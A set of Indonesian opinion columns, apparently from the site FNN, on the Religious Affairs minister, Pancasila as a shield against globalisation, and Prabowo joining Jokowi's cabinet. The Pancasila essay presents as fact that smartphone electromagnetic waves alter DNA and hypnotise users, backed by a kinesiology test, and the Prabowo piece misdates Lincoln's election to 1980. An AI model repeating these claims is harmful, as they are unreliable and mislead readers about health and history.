Hasyim dalam sebuah kesempatan mengatakan bahwa "model Kementerian Agama ini pada hakikatnya adalah kompromi jalan tengah. Jalan antara teori memisahkan agama dari negara dan teori persatuan agama dan negara." Pemerintah mengumukan berdirinya Kementrian Agama setelah disepakati secara aklamasi di oleh Komite Nasional Indonesia Pusat (KNIP). Ketika itu Haji Mohammad Rasjidi yang diangkat oleh Presiden Sukarno sebagai Menteri Agama Pertama. Haji Mummad Rasjidi adalah seorang ulama berlatar belakang pendidikan Islam modern. Dan di kemudian hari, Haji Muhammad Rasjidi dikenal sebagai pemimpin Islam terkemuka dan tokoh Muhammadiyah. Jangan Ahistoris Bozzz Apa yang dikatakan oleh Menteri Agama Fahrul Rozi bahwa “dirinya bukanlah Menteri Agama Islam, dan dia ditugaskan untuk melawan radikalisme, telah membuka kembali luka lama dalam kehidupan umat Islam”. Mengatakan bukan Menteri Agama Islam adalah pernyataan ahistoris, buta dan tuli terhadap sejarah kelahiran bangsa. Sebab sejarah mencatat, bahwa aspirasi Umat Islam diakomodir dengan terbentuknya Kementerian Agama pada awal-awal kemerdekaan bangsa ini. Ucapan yang bernada tidak untuk mendamaikan suasana seperti itu, seharusnya tidak boleh ada di lembaga pemerintahan. Kita patut menyatakan, bahwa sekarang kementerian itu tidak lagi untuk mengurus Umat Islam. Sementara uang wakaf, sedekah, dana haji, miliknya Umat Islam kini telah dipergunakan lebih dari separuhnya oleh pemerintah. Secara kasarnya, sekarang Umat Islam sedang diperas. Tetapi kekayaan Umat Islam yang disimpan di Kementrian Agama tidak dianggap oleh pemerintah. Sementara ceramah ustadz dibatasi, mesjidnya diawasi. Apakah ini yang dikehendaki oleh pemerintah sekarang? Masih berdasar pernyataan menteri Agama Fahrul Rozi. Bahwa dia ditugaskan oleh Presiden untuk mengurus radikalisme. Semua kementerian periode kedua ini sepertinya hanya mengurus radikalisme. Kita menyebutnya dengan pemerintahan yang mengurus radikalisme. Bahkan Prof. Dr. Din Syamsuddin menyarankan Kementrian Agama diganti namanya menjadi Kementrian Anti Radikalisme. Sebegitu kuatnya radikalisme sehingga mulai dari aparat keamanan seperti Polisi, Badan Intelijen Negara (BIN), Badan Nasiopnal Penanggulangan Terorisme (BNPT), hingga kementerian di kabinet Jokowi yang kedua semua mengurusinya. Berarti kerja pemerintah hanya mewujudkan program deradikalisasi saja. Tugas Menteri Agama itu adalah membangun moral bangsa. Membangun moral keagamaan, yang memberikan nilai positif dan konstruktif bagi bangsa. Menjaga kerukunan, dan meningkatkan kualitas pendidikan keagamaan. Membawa pesan keagamaan di tengah masyarakat. Begitulah tugas-tugas Kementrian Agama yang seharusnya. Sementara fungsinya adalah membuat dan menetapkan kebijakan keagamaan. Mengelola kekayaan di Kementrian Agama, dan mengawasi pelaksanaan tugas. Selain itu, melaksanakan kegiatan dan bimbingan teknis. Karena itu kalau tugas Kementerian Agama adalah mengurus radikalisme dan bukan menteri Agama Islam, lebih baik kementerian itu dihilangkan saja. Sebab sejarah kementerian itu merupakan hasil akhir dari kompromi diantara tokoh-tokoh bangsa. Kompromi antara golongan nasionalis Islam dengan golongan nasionalisme sekuler. Terlepas dari semua itu, Menteri Agama Fahrul Rozi sekarang ini tidak cocok mengurus kementerian. Tetapi lebih cocok diberikan tugas sebagai kepala BNPT. Itu lebih menjurus ke pikiran beliau ketimbang mengurus urusan Umat Islam yang begitu kompleks. Wallahualam bis shawab. Penulis adalah Dosen Fakultas Hukum dan Fisip Universitas Muhammadiyah Jakarta serta Advokat

Pancasila Menjadi Benteng Dampak Negatif Globalisasi TI

Serangan siber juga telah berkembang sampai tahap melumpuhkan sebagian atau seluruh instrumen dan infrasturktur siber sebuah negara. Tidak terkecuali juga Indonesia. Sifat serangan siber itu tidak hanya mengancam jiwa manusia. Namun mengancam jpula stabilitas ekonomi, stabilitas politik, dan ketahanan sosial budaya. Kondisi ini membuat Indonesia kini mengalami krisis siber. By Komjen Pol. Dhama Pongrekun MH. MM Jakarta, FNN - Era globalisasi sekarang ini telah dijadikan alat untuk mengkoneksi secara global seluruh aspek kehidupan manusia. Koneksivitas global tersebut telah meliputi aspek ekonomi, sosial, budaya dan politik. Basis utama dari sarana koneksitas global itu adalah money, power dan control Akibatnya setiap orang mampu mengakses informasi dengan bebas atau tanpa batas. Akses informasi itu, baik dalam bentuk gambar, tulisan maupun video yang dapat memanipulasi mindset manusia. Caranya, didahului dengan pelemahan sistem tubuh manusia, melalui perubahan struktur Deoxyribo Nucleic Acid (DNA), yang dirusak oleh gelombang elektromagnetik, dan mempunyai kekuatan hipnotis. Peralatan hipnotis yang bernama smartphone itu kita beli. Setelah dibeli, kita juga yang menggunakan. Namun yang mengontrol kita adalah mereka yang mendesain, dan memproduksi smartphone tersebut. Mereka mengontrol dan mengendalikan kita setiap saat. Kapan saja dan dimana saja, bila mereka mau. Rekayasa kehidupan, yang bisasanya disebut life engineering, dapat dilakukan secara terstruktur, sistematis dan massif (TSM). Life engineering bisanya dilakukan kapan saja, dan dimana saja. Dimulai dengan propaganda ketakutan, agar otok purba kita bekerja mencari perlindungan mempertahankan diri. Kerana pada hakikatnya life engineering itu sudah ada, sejak ini dunia diciptakan. Pada era modern, rekayasa kehidupan dilakukan melalui fase revolusi industry. Muaranya pada ditemukan tekonologi informasi dan tekonologi komnikasi. Media yang dipakai adalah internet, yang mulai digunakan sejak 20-30 tahun lalu. Sejak itu, globalisasi menjadi gelombang yang sangat dahsyat. Penguruh dan dampak dari globalisasi itu, sepertinya tidak bisa dibendung. Selalu ada dalam kehidupan sehari-hari kita. Sekarang, seluruh aspek kehidupan manusia, terhubung dengan mamanfaatkan teknologi informasi dan komunikasi. Sementara sarana tekonologi informasi dan komunikasi yang dipakai sehari-hari adalah smartphone. Teknologi memang didesain untuk hadir di tengah-tengah kehidupan manusia. Teknologi juga didesain dengan sajian kecepatan dan efektivitas yang sangat tinggi. Teknologi telah memudahkan manusia yang menggunakannya saling berkonukasi secara praktis dan efisien. Walaupun demikian, kita jangan sampai terlena dan diperbudak oleh hadirnya teknologi tersebut. Kemajuan teknologi harus tetap kita waspadai. Tidak selamanya teknologi membawa dampak positif terhadap kehidupan manusia. Pengembangan teknologi misalnya, pada perangkat tekonologinya kerap disisipi aplikasi yang memiliki ekslusivitas, seperti pornografi dan candu. Misi-misi teknologi seperti inilah yang harus diwaspadai oleh para penggunanya. Dibalik semua kemudahan teknologi informasi saat ini, kemajuan teknologi juga mempunyai resiko dan ancaman. Pada umumnya teknologi tersebut, digunakan oleh barbagai negara untuk memenangkan persaingan kepentingan mereka di tingkat global. Pada titik itulah, perang sebagai bentuk puncak persaingan antara negara hadir dan berevolusi. Salah satu dampaknya, peperangan sekarang ini tidak hanya terbatas pada kontak fisik. Tidak juga hanya dengan menggunakan senjata konvensional. Konsep peperangan zaman now telah berkembang menjadi perang siber. Basisnya adalah penggunaan teknologi informasi dan komunkasi tersebut. Serangan siber juga telah berkembang sampai tahap melumpuhkan sebagian atau seluruh instrumen dan infrasturktur siber sebuah negara. Tidak terkecuali juga Indonesia. Sifat serangan siber itu tidak hanya mengancam jiwa manusia. Namun mengancam jpula stabilitas ekonomi, stabilitas politik, dan ketahanan sosial budaya. Kondisi ini membuat Indonesia kini mengalami krisis siber. Menghadapi kenyataan ini, semua komponen bangsa harus hadir mengantispasi kemungkinan terburuk. Karena Indonesia akan diserang oleh pusaran arus negative dari dampak globalisasi. Pusaran globalisasi itu memiliki tiga program besar, yaitu Money, Power dan Control. Pertahanan terbaik menghadapi ancaman globalisasi yang berbasis Money, Power dan Control itu adalah menghadirkan dasar negara Pancasila dalam kehidupan sehari-hari. Sebab dasar negara Pancasila menempatkan manusia Indonesia mempercayai Tuhan Yang Maha Esa sebagai panduan kehidupan pribadi maupun berbangsa. Semua kemponen bangsa harus memperkuat ketahanan untuk menjiwai pilar bangsa Pancasila, dan UUD 1945 sebagai benteng menghadapi globalisasi hipnotis. Pengaruh globalisasi ini dijalankan dengan cara yang sistimatis, terstruktur dan masif ke semua lini pemerintahan. Semua orang ditanamkan suatu hidden agenda yang akan membuat kehidupan hanya satu arah. Yang ujung-ujungnya akan menyengsarakan bangsa, karena sudah ikut dengan agenda tersebut. Mereka melakukan agendanya dengan cara memberikan rasa ketakutan kepada kita. Dengan cara menyebarkan hipnotis ketakutan itu kita dipaksa mengikuti agenda yang sudah dijalankan. Agenga yang sistematis, karena dibumbui dengan kemudahan, kecepatan kepada manusia di dunia. Tanpa sadar akan membuai arah kehidupan yang luxury sebagai pemuas nafsu dunia. Kita jadi melupakan kehidupan kita yang berasal dari dunia supranatural. Bukan berasal dari suatu nilai angka atau eksak. Jika kita tidak berpegang teguh akan nilai-nilai Ketuhanan Yang Maha Esa, maka semua akan tergerus dengan kehidupan yang bernilai ekonomi. Era revolusi industri 4.0 dan kemajuan teknologi gadget khususnya, membuat kita kehilangan norma-norma. Membuat kita manipulasi mindset dengan aplikasi atau sarana yang ditawarkan. Sarana tersebut berisi materi-materi hipnotis yang penuh kebohongan dan propaganda ketakutan. Bahaya gelombang hypno elektromagnetik yang membuat kita menjadi addict. Penulis pernah mempraktekan bahaya gelombang hypno elektromagnetik itu dengan melakukan tes kinosiologi kepada dua mahasiswa dan satu narasumber pada seminar kebangsaan di Gereja Bethel Pekanbaru Sabtu (26/10/2019). Hasilnya, terbukti hypno elektromagnetik merusak sel-sel tubuh, apabila kita selalu dengan waktu yang lama mempergunakan gadget. Sudah waktunya Indonesia memiliki teknologi industri nasional yang di awaki anak-anak bangsa sendiri. Dampaknya, selain dapat memajukan ekonomi dalam negeri, hal ini juga dapat menjaga data keamanan seluruh bangsa Indonesia. Kita juga tidak lagi tergantung dengan bangsa lain seperti yang dikhawatirkan salah oleh Rektor Universitas Islam Negeri Jakarta Amany Burhanuddin Umar Lubis. Ketika menjadi pembicara di hadapan 300 lebih peserta Seminar Kebangsaan di Gereja Bethel Pekanbaru, penulis mengingatkan generasi muda bangsa harus berpedoman dengan Pancasila. Kerana dengan bangsa yang berdasar pada sila Ketuhanan Yang Maha Esa, maka akan sadar tentang pentingnya berprilaku hidup yang berkeadilan dan beradab itu. Kebhinekaan bangsa juga dengan sendirinya akan mempererat persatuan kita. Apabila persatuan sudah terwujud, tentu diharapkan setiap perbedaan pendapat, akan diakhiri dengan musyawarah dan mufakat. Pada akhirnya akan menghadirkan keadilan sosial bagi seluruh bangsa indonesia. Penulis adalah Wakil Kepada Badan Siber dan Sandi Negara (BSSN)

Jokowi Penentu Kesuksesan Prabowo

Secara konstitusional Prabowo tidak bisa menentukan sendiri apa yang mau dikerjakan di Kementerian Pertahanan. Prabowo harus, dengan semua kemampuan terbaik dan ketulusan hebat yang dimilikinya terhadap bangsa ini, harus mendapat otorisasi dari Presiden. Perintah konstitusi yang ini imperative. Oleh Dr. Margarito Kamis Jakarta, FNN - Prabowo Subianto adalah pria dengan jejak ketentaraan yang gemilang. Berkali-kali masuk ke gelanggangg pilpres. Satu kali sebagai calon wakil presiden dan dua kali sebagai calon presiden. Dua kali menjadi rifal tangguh bagi Jokowi. Sebanyak itu pula Prabowo, pria yang hebat ini menemukan akhir yang menyakitkan. Setidaknya untuk para supporternya. Kekalahan terakhir, teridentifikasi sebagai kekalahan paling menyakitkan. Itu karena berbagai soal pada pemilu 2019 ini betul-betul sulit dinalar dengan akal sehat. Begitu banyak petugas pemungutan suara yang menemui akhir hidupnya. Mereka mati di hari-hari pencatatan perolehan suara. Kematian ratusan petugas pencatat suara ini adalah satu soal sangat pahit. peroalan pahit lainnya adalah jumlahnya yang sulit untuk diterima dan dimengerti. Anehnya, semua berlalu dengan langgam. Bahkan mencedurung menyepelekan sebagai sebuah kelaziman di pesta demokrasi. Tanpa penjelasan, yang memadai, semuanya terkubur begitu saja dalam keangkuhan rendahan. Betul, di luar kematian yang masal itu, semua fakta busuk lain dalam pemilu telah terbantah secara legal. Lagi-lagi itu memang betul. Tetapi tetap saja bantahan hukum itu tak bisa menguburkan black box pemilu itu sebagai pemilu sangat memilukan sejauh ini. Memukul akal sehat kita. Menggelamkan harkat dan marabat manusia menjadi sebutan yang tepat untuk pemilu kali ini. Tak Bermakna Tetapi kenyataan tersebut, hampir pasti bukan satu-satunya fakta di sekitar pemerintahan baru, yang membuat Prabowo terlihat jelas. Dia terlihat sebagai sosok yang paling menyita perhatian. Timbul bersama rakyat di tengah kabinet Jokowi. Setelah sebelumnya menjadi rifal tangguhnya. Prabowo kini telah timbul bersama Jokowi. Timbul dengan segala pertimbangan yang tidak seorang pun dapat mengetahui deteilnya. Memang menarik untuk dicermati. Bahkan ada yang tak habis pikir. Namun ada juga yang bisa memahami kenyataan ini. Faktanya sekarang Prabowo timbul di Kementerian Pertahanan. Kementerian yang secara konstitusi sangat bernilai strategis. Apalagi pancaran antusias dan penghormatan otentik aparatur di Kementerian Pertahanan atas kedatangan Prabowo terlihat begitu telanjang. Penghormatan kepada Prabowo dari jajaran Kementerian Pertahanan pada prosesi serah terima jabatan Menteri Pertahanan itu tidak seperti biasanya. Karena sangat spesialis dan “mengagumkan” di kementerian tersebut. Semuanya terlihat begitu nyata. Mau apa? Begitulah politik riil. Untuk alasan apapun politik rill adalah pekerjaan para elit. Suka atau tidak, ya begitulah adanya. Dan itu bukan hanya perkara di Indonesia. Ini perkara seperti ini menjadi biasa dalam politik riil di manapun didunia ini. Sudah sejak dari dahulu kala, jejak-jejak sejarah, menunjukan politik selalu digerakan oleh pertimbangan-pertimbangan yang lebih sering tak terlihat daripada yang sering terlihat. Jangan terkecoh dengan yang terlihat. Kenalilah hal yang tak terlihat. “Pak Prabowo lebih tahu tentang urusan pertahanan daripada saya”. Begitu inti kata-kata Jokowi saat mengumumkan dan melantik Prabowo. Tetapi dilihat dari sudut konstitusi, setulus apapun kata itu terlihat, kata-kata itu tak memiliki makna konstitusional. Mengapa demikian? Secara konstitusional Prabowo tidak bisa menentukan sendiri apa yang mau dikerjakan di Kementerian Pertahanan. Prabowo harus, dengan semua kemampuan terbaik dan ketulusan hebat yang dimilikinya terhadap bangsa ini, harus mendapat otorisasi dari Presiden. Perintah konstitusi yang ini imperative. Apa saja yang dimaui Jokowi? Dialah Presiden yang mengangkat Prabowo untuk membantu dirinya melaksanakan urusan pemerintahan yang dipegangnya, di bidang pertahanan negeri ini. Itu point penting dan konstitusionalnya. Direktif Presiden adalah panduan konstitusional untuk Pak Prabowo. Tidak lain dan tidak lebih dari itu. Sejelas apapun ilmuan politik mengidentifikasi kata-kata itu sebagai benteng Jowowi kelak. Misalnya, ketika postur politik dan teknis pertahanan tidak cukup baik, tetap menjadi tanggung jawab konstitusional ada pada Jokowi sebagai presiden. Apalagi Jokowi berkali-kali mengatakan, menteri tak boleh memiliki visi sendiri. Semuanya harus berdasarkan visi Presiden dan Wakil Presiden. Sistem Presidensial Presiden, siapapun orangnya dalam sistem presidensial bukan primus interpares. Presiden bukan orang yang terkemuka. Yang utama, diantara yang setara dalam kabinet itu. Presiden, yang terambil dari kata precedere dalam bahasa latin adalah pemimpin. Untuk apa yang kelak ketika dirumuskan oleh pembuat konstitusi Amerika tahun 1787 sebagai Chief of Executive. Itu sebabnya, presiden sering disematkan dengan sebutan, misalnya Chief of Executive Politics, Chief of Negosiator, Chief of Law Offcier, Chief of Ambasador, dan lainnya. Presiden adalah jabatan tunggal. Jabatan yang kewenangan-kewenangannya tak terbagi, dan tak bisa dibagi. Sifat jabatan itu membawa konsekuensi, misalnya siapa yang diminta dan diangkat membantu dirinya, sepenuhnya tanggung jawab dirinya. Kapabel, kompeten atau tidak orang yang diangkat itu, terserah presiden. Walau memang harus diakui politik dan kenyataan demokrasi sering meminta presiden harus menghidupkan kearifannya. Misalnya, presiden tidak menggunakan kewenangannya itu semaunya sendiri. Walaupun demikian, semuanya tergantung pada visi dan kebijakan presiden. Bukan pada kebijakan menteri, Sehebat apapun menteri itu. Orang boleh saja bilang rel goverenment adanya di Kementerian. Anggapan seperti itu tidak salah. Tetapi itu cuma separuhnya saja. Kekuatan pertahanan Angakatan Laut Amerika misalnya, suka atau tidak, harus dipertalikan dengan kecemerlangan kebijakan yang melampaui zaman oleh Thomas Jefferson. Kebijakan Presiden Amerika ketiga, pada periode 1801-1809 inilah yang membuat Angkatan Laut Amerika menjadi penguasa laut dunia sekarang ini Thomas Jefferson keluar dengan kebijakan membangun armada laut yang hebat bekerja. Kebijakan itu dirangsang oleh pengalamannya sebagai Duta Besar Amerika untuk Inggris. Dalam kapasitasnya sebagai Duta Besar, Thomas Jefferson pernah berurusan dengan Turki Usmaniah. Mereka membicarakan hambatan keamanan yang dialami oleh kapal-kapal Amerika dalam pelayaran perdagangan kedua negara. Amerika sangat beruntung. Sebab pada waktunya, Amerika memiliki William Mckinley (1897-1901) sebagai presiden. McKinley adalah Presiden yang mengubah, dan membawa Amerika menjadi pemimpin dunia seperti sekarang. Menggantikan posisi Inggris. Ragam kebijakan Presiden William Mckinley, yang mengubah Amerika, menjadi pemimpin dunia itu, dilukiskan oleh Henry Adams, seorang peneliti dengan sebutan “McKinlysian.” Dia menggambarkannya dengan that is “the system of combination, consolidation, trusts, realized at home, and realizable abroad.” Bukan Trump, tetapi Presiden Mckinley yang pertama kali menggunakan senjata tarif dalam memproteksi produk-produk industri dalam negeri Amerika. Mckinley, bukan Trump yang pertama, mengintroduksi gagasan proteksionis ke dalam sebuah undang-undang. Undang-undang itu dikenal dengan Dengely Tarrif. Soal undang-undang tarif ini, kata McKinley kepada seorang senator mengatakan, menjadikan Dengely Tarrif sebagai senjata utama lain, sehingga membuat, dan membawa Amerika menjadi produsen utama di dunia. Presiden, ya tetap saja presiden. Sebab dialah presiden untuk semua urusan bangsa dan negara di bidang eksekutif. Tidak bisa, dengan alasan apapun, presiden menyatakan itu bahwa bukan urusannya. Atau itu jangan tanya saya. Tidak bisa begitu kalau jadi presiden. Tidak ada dalam ilmu tata negara itu pemerintahan sebuah negara yang bersistem presidensial disebut pemerintah. Misalnya, nama dari seorang menteri. Pemerintahan presidensial selalu dinamakan sesuai dan melekat dengan nama dari presiden. Amerika misalnya, dinamakan pemerintahan atau administrasi Jefferson, McKinley, Franklin Delano Rosevelt atau saat ini Donald Trump. Indonesia namanya, pemerintahan Soeharto, pemerintahan Mega, pemerintahan SBY dan pemerintahan Jokowi. Tidak bisa disebut pemerintahan Prabowo atau siapa menteri yang lainnya. Praktis nama presiden diambil dan disematkan pada pemerintahannya. Prabowo memang punya jejak ketentaraan yang gemilang. Mungkin saja kegemilangan itu tersaji kembali di Kementerian Pertahanan ini. Tetapi apapun prestasi dan keberhasilan yang dicapainya, tidak dapat digunakan sebagai dasar menyebutkan pemerintahan Jokowi menjadi pemerintahan Prabowo. Tidak bisa. Untuk dan dengan alasan apapun. Presiden Jokowi, entah basa-basi atau tidak, secara resmi telah mengakui kehebatan Prabowo. Itu jelas menjadi modal besar bagi Prabowo. Tetapi modal besar itu akan terus saja menjadi modal. Modal dasar tersebut, tak akan berbuah apapun, bila Presiden tidak mendefenisikan visinya. Presiden harus memberikan direction dan otoritas secara detailnya kepada Prabowo. Direction Presiden Jokowi itu adalah kuncinya. Begitulah sistem presidensial bekerja. Penulis adalah Pengajar Hukum Tata Negara Universitas Khiarun Ternate

Prabowo Tak Ingin Rakyat Terbelah

Dari ketiga kisah itulah, Prabowo ingin mengajak kadernya untuk belajar dari negara besar. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Mungkin itulah jawaban paling tepat untuk menjawab pertanyaan sebagian rakyat Indonesia yang masih penasaran mengapa Ketum Partai Gerindra Prabowo Subianto bergabung dengan Pemerintahan Presiden Joko Widodo – Wapres Ma’ruf Amin. Dua kali Pilpres 2014 dan 2019 telah membuat rakyat pemilih Jokowi dan Prabowo “perang” tanpa henti. Jika ini dibiarkan terus, bukan tidak mungkin akan terjadi perang terbuka yang melibatkan kekuatan militer. Inilah yang dihindari Prabowo. Itulah alasan mengapa saat Presiden Jokowi meminta Prabowo membantunya dalam Kabinet Indonesia Maju periode 2019-2024 sebagai Menteri Pertahanan, Prabowo tidak menolaknya. Prabowo menyanggupinya dengan segenap jiwa dan raga. Kejadian ini tentu merupakan hal yang sangat tidak biasa. Bagaimana tidak, keduanya pernah bertarung sengit pada Pilpres 2014 dan 2019 lalu. Apalagi, sengitnya kontestasi kedua pilpres antara Jokowi dan Prabowo terasa sampai ke akar rumput. Lebih dari 5 tahun, publik seperti tersekat pada dua kubu yang berbeda: cebong dan kampret. Ketegangannya merambat tidak hanya di level politik nasional. Di level daerah, Pilkada DKI Jakarta dan Pilkada Jabar menjadi bukti atas friksi keduanya. Bahwa friksi pendukung keduanya sangatlah keras. Kesediaan Prabowo menjadi bagian dari pemerintahan Jokowi – Ma’ruf bagi banyak orang sangat sulit diterima akal sehat, apalagi ego. Pro-kontra langkah Prabowo pun merebak di publik. Banyak yang mendukung dengan memahaminya sebagai bukti kebesaran jiwa sosok mantan Danjen Kopasus itu, tapi tidak sedikit juga yang belum bisa memahami – apalagi menerima – langkah politik yang tidak biasa terjadi di Indonesia ini. Di Amerika Serikat, Hillary Clinton yang sebelumnya bekas pesaingnya melawan Barack Obama sebagai calon presiden dari Partai Demokrat, akhirnya mengangkat Clinton sebagai Menteri Luar Negeri (21 Januari 2009 – 1 Februari 2013). Kembali ke Prabowo, apa sebenarnya yang membuat mantan Pangkostrad tersebut bersedia membantu Presiden Jokowi mengelola pemerintahan, khusus di bidang pertahanan? “Saya kira tugas beliau lebih tahu dari saya,” kata Presiden Jokowi. Jawaban atas pertanyaan mengapa Prabowo akhirnya bersedia bergabung dalam Kabinet Indonesia Maju, sebenarnya telah disampaikan secara tersirat, tapi sangat jelas, yaitu saat Rapimnas Partai Gerindra pada Rabu,16 Oktober 2019, lalu. Mengutip Saluran8, sepekan sebelum dilantik menjadi Menhan, dalam pidatonya, Prabowo mengisahkan perjalanan 3 tokoh besar dunia dari 3 negara yang juga (kemudian menjadi) besar, yaitu Jepang, Amerika Serikat, dan Tiongkok. Pertama, Toyotomi Hideyoshi dan Tokugawa Ieyasu. Hideyoshi adalah seorang pemimpin pasukan besar di Jepang pada masanya dan Ieyasu adalah salah satu musuh besarnya dengan kekuatan prajurit yang tidak kalah tangguh plus jumbo. Prabowo bercerita, suatu hari sebelum bertempur, Hideyoshi dengan 70 ribu pasukan yang di belakangnya mengirim utusan khusus ke Ieyasu untuk meminta bertemu. Dalam pertemuan titu, Hideyoshi mengutarakan gagasannya daripada bertarung, kenapa tidak bersekutu saja. “(Yang mulia) Ieyasu, pasukan Anda hebat-hebat, kuat-kuat. Begitupun pasukan saya, jumlahnya tidak kalah banyak. Tapi, yang mulia… kalau besok kita jadi bertempur, di antara kita pasti akan ada yang kalah dan ada yang menang.” “Akan ada banyak prajurit kita yang berguguran. Akan banyak orang tua Nippon yang kehilangan anaknya. Anda cinta Nippon, saya juga cinta Nippon, kenapa kita tidak bekerjasama dan bersatu saja? demi cinta kita terhadap Nippon.” Akhirnya kedua pasukan besar yang bertikai ini bersekutu dan membawa kemajuan yang hasilnya bisa dinikmati bersama dan oleh segenap rakyat. Kedua, Abraham Lincoln dan William Seward. Suatu ketika Lincoln menyatakan ingin bertemu dengan Seward di kongres parlemen Amerika Serikat. Seward menolak bertemu, bahkan mengatakan “kasih tahu monyet itu suruh pulang” kepada sekretarisnya hingga umpatan tersebut terdengar oleh Lincoln sendiri. Bertahun-tahun berlalu, mereka terus bertarung sengit di arena politik hingga Lincoln akhirnya terpilih menjadi presiden Amerika Serikat. Setelah memenangkan Pemilihan Presiden AS pada 6 November 1980, hal pertama yang dilakukan oleh Lincoln ternyata meminta Seward menjadi Scretary of State. Seward kaget, karena selama ini dia ibarat rival abadinya Lincoln. “Kenapa Anda pilih saya? Saya kan tidak suka sama Anda,” tanya Seward sebagaimana diceritakan Prabowo. “Oh, saya tahu, Anda tidak suka sama saya dan saya tidak suka sama Anda. Tapi saya tahu, Anda cinta United State of America. Dan, saya cinta United State of America. Kenapa kita tidak kerjasama demi United State of America,” lanjut Prabowo berkisah. Prabowo tertegun membaca kisah tersebut. “Inilah kenapa Amerika jadi negara besar, kenapa Jepang jadi negara kuat,” ungkap Prabowo dalam benaknya. Ketiga, Mao Tse-tung, mantan musuhnya (Zhang Lam?) dan Deng Xiaoping. Selanjutnya Prabowo berkisah tentang Mao Tse-tung yang menang melawan Jepang dan Kuomintang. Dua hari sebelum mendeklarasikan berdirinya Republik Rakyat Tiongkok, Mao memanggil beberapa orang untuk menjadi Wakil Presiden. Salah satu yang dipanggil adalah seorang tokoh sekaligus jenderal yang pernah menjadi lawannya. Orang yang pernah memimpin operasi dan membunuh puluhan ribu pasukan Mao itu kaget dengan permintaan Mao untuk menjadi wakil presiden. “Kenapa Anda pilih saya? Anda tahu, dulu saya pernah pimpin operasi dimana puluhan ribu anak buahmu saya bunuh.” “Tidak! Tidak! Jangan lihat ke belakang! Lihat ke depan. Kita bangun RRT ke depan,” jawab Mao Tse-tung dikisahkan Prabowo. Lalu ada juga kisah Deng Xiaoping, tiga kali dipecat oleh Mao Tse-tung. Anaknya dilempar dari balkon dan cacat seumur hidup. Ketika Mao-tung meninggal, Deng Xiaoping melanjutkan kepemimpinan Mao dan peran-peran, jejak, serta eksistensi Mao tetap dipeliharanya, bahkan hingga hari ini. Dari ketiga kisah itulah, Prabowo mengajak kader-kadernya untuk belajar dari negara-negara yang kini menjadi besar. Agar Indonesia juga bisa menjadi negara besar. Anda bisa melihat video pidato Prabowo ini yang diunggah di halaman Digdaya TV. Berbekal video tersebut, sebetulnya kita sudah bisa menyimpulkan sendiri kenapa Prabowo bersedia menyanggupi permintaan Jokowi untuk menjadi Menteri Pertahanan. Dan, Prabowo mengaplikasikannya. Prabowo melihat masa depan, bukan masa lalu. Riwayat sejarah yang pernah terjadi di Jepang, AS, dan Tiongkok, tampak kini sedang terjadi di Indonesia. Jokowi berhasil mengalahkan Prabowo, Prabowo berhasil mengalahkan dirinya sendiri. Ia mengalah demi hindari perpecahan anak bangsa Indonesia. Dari keputusan politik keduanya, kini kita melihat arah Indonesia sedang menuju ke visi yang lebih besar melalui sinergi politik dengan dasar sama-sama cinta terhadap Indonesia. Artinya, Jokowi – Prabowo sepakat berdamai untuk membangun masa depan. Hanya saja, tampaknya masih ada pihak yang kurang ikhlas dengan bergabungnya Prabowo dalam Kabinet Indonesia Maju tersebut. Usulan Hak Veto yang bakal diberikan Presiden kepada para Menko diduga kuat beraroma “kepentingan” politis. “Veto” Menko Hari-hari ini muncul usulan Presiden Jokowi akan memberikan Hak Veto pada para Menko. Tujuannya untuk menjaga agar visi presiden dijalankan para menteri. Ada empat Menko di pemerintahan Joko – Ma’ruf. Yakni Menko Polhukam yang dijabat Mahfud MD, Menko Maritim dan Investasi Luhut Binsar Panjaitan, Menko Perekonomian Airlangga Hartarto, dan Menko Pembangunan Manusia dan Kebudayaan yang dijabat Muhadjir Effendy. Menurut Mahfud, Kemenko bertugas mengawal visi besar presiden. Tujuannya supaya dapat diimplementasikan para pembantunya di kementerian dan lembaga setingkat menteri. Pendek kata, Menko melakukan koodinasi sinkronisasi dan harmonisasi terhadap kebijakan yang diterbitkan para menteri. Kemenko mengkoordinasikan tugas-tugas kementerian yang menjadi wewenang masing-masing. “Presiden mengatakan Menko boleh memveto kebijakan menteri yang ada di bawahnya kalau dia bertindak sendiri, apalagi sampai bertentangan dengan kebijakan Presiden maupun kebijakan Kementerian lain yang sejajar,” ujarnya. Direktur The Global Future Institute Prof Hendrajit mempertanyakan, apa benar (Hak Veto ini) cuma untuk menyasar Menhan baru Prabowo Subianto? “Gimana dengan yang di bawah Menko Perekonomian?” ungkap Hendrajit. Kemenko Perekonomian-nya sendiri dari Golkar, Mendag dari PKB, Menteri BUMN dari pebisnis, Meneri Perindustrian juga Golkar. Menhub dari kalangan profesional. Airlangga dan Agus Gumiwang, bukan sekadar satu partai. Tapi juga satu faksi. “Agus Suparmanto, politisi PKB, saya lihat merupakan titik rawan dari konfigurasi kerjasama di jajaran Menko Perekonomian Airlangga. Begitu juga Erick Thohir,” lanjutnya. Bagaimana kalau kalau skema veto untuk Menko diterapkan? Menko Perekonomian Airlangga dan Menteri Perindustrian Agus Gumiwang, boleh dibilang satu skema dan satu agenda. Menhub Budi Karya Sumadi bisa klop dengan Airlangga dan Jokowi karena sama sama alumni UGM, meski lebih kental kedekatannya sama Jokowi. Erick Thohir, bos Mahaka Group tersebut, jalur koneksi bisnisnya lebih dekat ke Jusuf Kalla ketimbang ke Jokowi. Jadi, potensi tabrakan antar kementerian di jajaran kemenko ekonomi cukup rawan. “Faksi Airlangga dan Agus Gumiwang satu sisi, Mendag Agus Suparmanto yang PKB dan Erick Thohir yang pengusaha dekat dengan JK dan Astra Group. Pada sisi lain,” ungkap Hendrajit. Sedangkan di Menko Polhukam, malah tak rumit. “Kalau terkesan ada hubungan yang nggak sreg antara Prabowo dan Mahfud, apapun, mereka berdua pernah berkolaborasi saat Mahfud menjadi Ketua Timses Prabowo Subianto – Hatta Rajasa,” ujarnya. Seharusnya komunikasi dan koordinasi mereka berdua lebih bagus daripada Tim Airlangga. Di Kemenko Maritim dan Investasi, Menko bisa memveto Menteri Kelautan dan Perikaman, LBP memveto Edhy Prsbowo. Sementara di bidang lain , Mahfud bisa memveto Prabowo. Sebenarnya mreka kerja untuk rakyat atau hanya skema veto memveto sih? Dari sini terlihat, yang bakal benar-benar kerja untuk negara hanya Prabowo! ***

Wakil Menteri Bukan Anggota Kabinet

